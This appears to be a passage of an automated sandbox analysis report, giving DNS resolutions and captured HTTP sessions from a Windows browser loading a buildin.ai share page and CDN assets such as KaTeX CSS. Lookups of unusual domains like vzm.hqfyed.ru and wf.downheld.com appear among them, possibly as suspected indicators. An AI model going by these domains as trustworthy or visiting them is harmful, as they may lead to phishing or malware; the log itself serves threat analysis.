Apr 1, 2025 18:23:02.344799995 CEST	1.1.1.1	192.168.2.4	0x9b23	No error (0)	vzm.hqfyed.ru		172.67.143.230	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:02.362648964 CEST	1.1.1.1	192.168.2.4	0x5ac	No error (0)	vzm.hqfyed.ru			65	IN (0x0001)	false
Apr 1, 2025 18:23:03.565114975 CEST	1.1.1.1	192.168.2.4	0xc8a1	No error (0)	vzm.hqfyed.ru			65	IN (0x0001)	false
Apr 1, 2025 18:23:03.724451065 CEST	1.1.1.1	192.168.2.4	0x790b	No error (0)	vzm.hqfyed.ru		104.21.71.75	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:03.724451065 CEST	1.1.1.1	192.168.2.4	0x790b	No error (0)	vzm.hqfyed.ru		172.67.143.230	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.404764891 CEST	1.1.1.1	192.168.2.4	0x494a	No error (0)	wf.downheld.com			65	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.449990988 CEST	1.1.1.1	192.168.2.4	0xb1d3	No error (0)	wf.downheld.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.247123957 CEST	1.1.1.1	192.168.2.4	0x4268	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.247123957 CEST	1.1.1.1	192.168.2.4	0x4268	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.247123957 CEST	1.1.1.1	192.168.2.4	0x4268	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.247123957 CEST	1.1.1.1	192.168.2.4	0x4268	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.248374939 CEST	1.1.1.1	192.168.2.4	0xbab0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.248374939 CEST	1.1.1.1	192.168.2.4	0xbab0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.249588966 CEST	1.1.1.1	192.168.2.4	0x7aa3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 1, 2025 18:23:07.577320099 CEST	1.1.1.1	192.168.2.4	0x76a6	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:07.599005938 CEST	1.1.1.1	192.168.2.4	0x4018	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:07.599005938 CEST	1.1.1.1	192.168.2.4	0x4018	No error (0)	d2vgu95hoyrpkh.cloudfront.net		3.168.73.27	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:07.599005938 CEST	1.1.1.1	192.168.2.4	0x4018	No error (0)	d2vgu95hoyrpkh.cloudfront.net		3.168.73.64	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:07.599005938 CEST	1.1.1.1	192.168.2.4	0x4018	No error (0)	d2vgu95hoyrpkh.cloudfront.net		3.168.73.8	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:07.599005938 CEST	1.1.1.1	192.168.2.4	0x4018	No error (0)	d2vgu95hoyrpkh.cloudfront.net		3.168.73.40	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:08.522528887 CEST	1.1.1.1	192.168.2.4	0x1e32	No error (0)	flagpedia.net		104.26.4.62	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:08.522528887 CEST	1.1.1.1	192.168.2.4	0x1e32	No error (0)	flagpedia.net		104.26.5.62	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:08.522528887 CEST	1.1.1.1	192.168.2.4	0x1e32	No error (0)	flagpedia.net		172.67.71.230	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:08.527967930 CEST	1.1.1.1	192.168.2.4	0x34d4	No error (0)	flagpedia.net			65	IN (0x0001)	false
Apr 1, 2025 18:23:09.152468920 CEST	1.1.1.1	192.168.2.4	0x7946	No error (0)	flagpedia.net			65	IN (0x0001)	false
Apr 1, 2025 18:23:09.175714970 CEST	1.1.1.1	192.168.2.4	0x4078	No error (0)	flagpedia.net		104.26.4.62	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:09.175714970 CEST	1.1.1.1	192.168.2.4	0x4078	No error (0)	flagpedia.net		104.26.5.62	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:09.175714970 CEST	1.1.1.1	192.168.2.4	0x4078	No error (0)	flagpedia.net		172.67.71.230	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:35.823410988 CEST	1.1.1.1	192.168.2.4	0x1543	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:40.240783930 CEST	1.1.1.1	192.168.2.4	0x2876	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:40.240783930 CEST	1.1.1.1	192.168.2.4	0x2876	No error (0)	beacons-handoff.gcp.gvt2.com		172.253.124.94	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:40.241456032 CEST	1.1.1.1	192.168.2.4	0x23e9	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:41.265405893 CEST	1.1.1.1	192.168.2.4	0x9c1b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:41.265405893 CEST	1.1.1.1	192.168.2.4	0x9c1b	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.114.94	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:43.288402081 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:43.288402081 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.113.94	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:44.292473078 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:44.292473078 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.113.94	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:45.301131010 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:45.301131010 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.113.94	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:51.312688112 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:23:51.312688112 CEST	1.1.1.1	192.168.2.4	0xff9e	No error (0)	beacons-handoff.gcp.gvt2.com		64.233.185.94	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:30 UTC	725	OUT	GET /share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true HTTP/1.1 Host: buildin.ai Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:30 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:30 GMT Content-Type: text/html Content-Length: 6326 Connection: close Server: nginx/1.20.1 Last-Modified: Thu, 27 Mar 2025 07:35:04 GMT Vary: Accept-Encoding ETag: "67e4ffa8-18b6" Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, PATCH, HEAD, CONNECT, TRACE Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization Accept-Ranges: bytes
2025-04-01 16:22:30 UTC	6326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 62 75 69 6c 64 69 6e 2e 61 69 2f 61 73 73 65 74 73 2f 70 6f 6c 79 66 69 6c 6c 73 2d 31 35 36 36 66 65 37 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <script type="module" crossorigin src="https://cdn.buildin.ai/assets/polyfills-1566fe7f.js"></script> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="v

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	600	OUT	GET /npm/katex@0.16.9/dist/katex.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	755	IN	HTTP/1.1 200 OK Connection: close Content-Length: 23196 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 0.16.9 X-JSD-Version-Type: version ETag: W/"5a9c-lO28SQaT2n884EhUbtO3kNiBAkc" Accept-Ranges: bytes Age: 2818517 Date: Tue, 01 Apr 2025 16:22:31 GMT X-Served-By: cache-fra-etou8220130-FRA, cache-lga21932-LGA X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 41 4d 53 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 41 4d 53 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 41 4d 53 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 41 4d 53 2d 52 65 67 75 6c 61 72 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 43 61 6c Data Ascii: @font-face{font-family:KaTeX_AMS;font-style:normal;font-weight:400;src:url(fonts/KaTeX_AMS-Regular.woff2) format("woff2"),url(fonts/KaTeX_AMS-Regular.woff) format("woff"),url(fonts/KaTeX_AMS-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Cal
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 61 69 6e 2d 42 6f 6c 64 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 4d 61 69 6e 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 4d 61 69 6e 2d 42 6f 6c 64 49 74 61 6c 69 63 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 4d 61 69 6e 2d 42 6f 6c 64 49 74 61 6c 69 63 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 4d 61 69 6e 2d 42 6f 6c 64 49 74 61 6c 69 63 2e 74 74 66 29 20 66 6f 72 6d 61 Data Ascii: ain-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Main-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Main-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Main-BoldItalic.ttf) forma
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 65 58 5f 53 61 6e 73 53 65 72 69 66 2d 42 6f 6c 64 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 66 22 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 66 2d 49 74 61 6c 69 63 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 66 2d 49 74 61 6c 69 63 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 Data Ascii: eX_SansSerif-Bold.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:italic;font-weight:400;src:url(fonts/KaTeX_SansSerif-Italic.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Italic.woff) format("woff"),url(fonts/KaTeX_SansSeri
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 7a 65 33 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 69 7a 65 33 2d 52 65 67 75 6c 61 72 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 53 69 7a 65 34 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 69 7a 65 34 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 69 7a 65 34 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 Data Ascii: ze3-Regular.woff) format("woff"),url(fonts/KaTeX_Size3-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size4;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size4-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size4-Regular.woff) format
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 61 74 65 78 20 2e 6d 61 74 68 69 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 4d 61 69 6e 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 68 72 6d 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 68 62 66 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 4d 61 69 6e 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 2e 6b 61 74 65 78 20 2e 62 6f 6c 64 73 79 6d 62 6f 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 4d 61 74 68 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 2e 6b 61 74 65 78 20 2e 61 6d 73 72 6d 2c 2e 6b 61 74 65 78 20 2e 6d 61 74 68 62 62 2c 2e 6b 61 74 65 78 20 2e 74 Data Ascii: atex .mathit{font-family:KaTeX_Main;font-style:italic}.katex .mathrm{font-style:normal}.katex .mathbf{font-family:KaTeX_Main;font-weight:700}.katex .boldsymbol{font-family:KaTeX_Math;font-style:italic;font-weight:700}.katex .amsrm,.katex .mathbb,.katex .t
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 6b 61 74 65 78 20 2e 68 62 6f 78 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6b 61 74 65 78 20 2e 68 62 6f 78 2c 2e 6b 61 74 65 78 20 2e 74 68 69 6e 62 6f 78 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6b 61 74 65 78 20 2e 74 68 69 6e 62 6f 78 7b 6d 61 78 2d 77 69 64 74 68 3a 30 3b 77 69 64 74 68 3a 30 7d 2e 6b 61 74 65 78 20 2e 6d 73 75 70 73 75 62 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 6b 61 74 65 78 20 2e 6d 66 72 61 63 3e 73 70 61 6e 3e 73 70 61 6e 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 6b 61 74 65 78 20 2e 6d 66 72 61 63 20 2e 66 72 61 63 2d 6c 69 6e 65 7b 62 6f 72 64 65 72 Data Ascii: flex-direction:column}.katex .hbox{width:100%}.katex .hbox,.katex .thinbox{display:inline-flex;flex-direction:row}.katex .thinbox{max-width:0;width:0}.katex .msupsub{text-align:left}.katex .mfrac>span>span{text-align:center}.katex .mfrac .frac-line{border
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 33 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 34 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 35 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e Data Ascii: }.katex .fontsize-ensurer.reset-size1.size3,.katex .sizing.reset-size1.size3{font-size:1.4em}.katex .fontsize-ensurer.reset-size1.size4,.katex .sizing.reset-size1.size4{font-size:1.6em}.katex .fontsize-ensurer.reset-size1.size5,.katex .sizing.reset-size1.
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 74 2d 73 69 7a 65 32 2e 73 69 7a 65 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 36 36 36 36 36 36 37 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 37 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 38 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 38 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 32 Data Ascii: t-size2.size6{font-size:1.66666667em}.katex .fontsize-ensurer.reset-size2.size7,.katex .sizing.reset-size2.size7{font-size:2em}.katex .fontsize-ensurer.reset-size2.size8,.katex .sizing.reset-size2.size8{font-size:2.4em}.katex .fontsize-ensurer.reset-size2
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 7a 65 3a 32 2e 34 36 38 35 37 31 34 33 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 33 2e 73 69 7a 65 31 30 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 33 2e 73 69 7a 65 31 30 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 39 36 32 38 35 37 31 34 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 33 2e 73 69 7a 65 31 31 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 33 2e 73 69 7a 65 31 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 2e 35 35 34 32 38 35 37 31 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 34 2e Data Ascii: ze:2.46857143em}.katex .fontsize-ensurer.reset-size3.size10,.katex .sizing.reset-size3.size10{font-size:2.96285714em}.katex .fontsize-ensurer.reset-size3.size11,.katex .sizing.reset-size3.size11{font-size:3.55428571em}.katex .fontsize-ensurer.reset-size4.
2025-04-01 16:22:31 UTC	1378	IN	Data Raw: 69 7a 65 32 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 35 2e 73 69 7a 65 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 36 36 36 36 36 36 36 37 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 35 2e 73 69 7a 65 33 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 35 2e 73 69 7a 65 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 37 37 37 37 37 37 38 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 35 2e 73 69 7a 65 34 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 35 2e 73 69 7a 65 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 38 38 38 38 38 38 39 65 6d Data Ascii: ize2,.katex .sizing.reset-size5.size2{font-size:.66666667em}.katex .fontsize-ensurer.reset-size5.size3,.katex .sizing.reset-size5.size3{font-size:.77777778em}.katex .fontsize-ensurer.reset-size5.size4,.katex .sizing.reset-size5.size4{font-size:.88888889em

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	589	OUT	GET /npm/mermaid@10.6.1/dist/mermaid.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
